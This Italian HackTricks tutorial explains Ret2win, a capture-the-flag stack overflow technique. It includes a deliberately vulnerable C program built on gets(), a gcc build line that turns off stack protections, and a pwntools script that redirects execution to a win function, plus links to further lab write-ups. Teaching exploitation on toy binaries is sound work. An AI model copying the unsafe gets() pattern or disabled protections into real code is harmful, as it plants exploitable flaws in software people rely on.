Ret2win
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di Base
Le sfide Ret2win sono una categoria popolare nelle competizioni di Capture The Flag (CTF), in particolare in compiti che coinvolgono binary exploitation. Lâobiettivo è sfruttare una vulnerabilitĂ in un dato binario per eseguire una funzione specifica, non invocata, allâinterno del binario, spesso chiamata qualcosa come win, flag, ecc. Questa funzione, quando eseguita, di solito stampa un flag o un messaggio di successo. La sfida comporta tipicamente la sovrascrittura dellâindirizzo di ritorno nello stack per deviare il flusso di esecuzione verso la funzione desiderata. Ecco una spiegazione piĂš dettagliata con esempi:
Esempio in C
Considera un semplice programma in C con una vulnerabilitĂ e una funzione win che intendiamo chiamare:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Per compilare questo programma senza protezioni dello stack e con ASLR disabilitato, puoi usare il seguente comando:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32: Compila il programma come un binario a 32 bit (questo è facoltativo ma comune nelle sfide CTF).-fno-stack-protector: Disabilita le protezioni contro gli overflow dello stack.-z execstack: Consenti lâesecuzione di codice nello stack.-no-pie: Disabilita lâeseguibile indipendente dalla posizione per garantire che lâindirizzo della funzionewinnon cambi.-o vulnerable: Nomina il file di outputvulnerable.
Python Exploit usando Pwntools
Per lâexploit, utilizzeremo pwntools, un potente framework CTF per scrivere exploit. Lo script di exploit creerĂ un payload per sovrascrivere il buffer e sovrascrivere lâindirizzo di ritorno con lâindirizzo della funzione win.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Per trovare lâindirizzo della funzione win, puoi utilizzare gdb, objdump o qualsiasi altro strumento che ti consenta di ispezionare file binari. Ad esempio, con objdump, potresti usare:
objdump -d vulnerable | grep win
Questo comando mostrerĂ lâassembly della funzione win, incluso il suo indirizzo di partenza.
Lo script Python invia un messaggio accuratamente progettato che, quando elaborato dalla vulnerable_function, fa traboccare il buffer e sovrascrive lâindirizzo di ritorno nello stack con lâindirizzo di win. Quando vulnerable_function restituisce, invece di tornare a main o uscire, salta a win, e il messaggio viene stampato.
Protezioni
- PIE dovrebbe essere disabilitato affinchĂŠ lâindirizzo sia affidabile tra le esecuzioni, altrimenti lâindirizzo in cui la funzione sarĂ memorizzata non sarĂ sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è
reado simile, puoi fare un Partial Overwrite di 1 o 2 byte per cambiare lâindirizzo di ritorno in modo che sia la funzione win. A causa di come funziona lâASLR, le ultime tre nibble esadecimali non sono randomizzate, quindi câè una 1/16 possibilitĂ (1 nibble) di ottenere lâindirizzo di ritorno corretto. - Stack Canaries dovrebbero essere anchâessi disabilitati o lâindirizzo di ritorno EIP compromesso non sarĂ mai seguito.
Altri esempi & Riferimenti
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32bit, no ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bit con ASLR, con un leak dellâindirizzo bin
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bit, no ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bit, no ASLR, doppio piccolo overflow, primo per traboccare lo stack e ingrandire la dimensione del secondo overflow
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere lâindirizzo
fflushcon la funzione win (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bit, nx, nientâaltro, sovrascrittura parziale di EIP (1Byte) per chiamare la funzione win
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bit, nx, nientâaltro, sovrascrittura parziale di EIP (1Byte) per chiamare la funzione win
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- Il programma sta solo convalidando lâultimo byte di un numero per controllare la dimensione dellâinput, quindi è possibile aggiungere qualsiasi dimensione purchĂŠ lâultimo byte sia allâinterno dellâintervallo consentito. Poi, lâinput crea un buffer overflow sfruttato con un ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bit, relro, no canary, nx, pie. Sovrascrittura parziale per chiamare la funzione win (ret2win)
- https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, fornisce un leak PIE la funzione win è in realtà 2 funzioni quindi gadget ROP che chiama 2 funzioni
- https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, off-by-one per chiamare una funzione win
Esempio ARM64
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

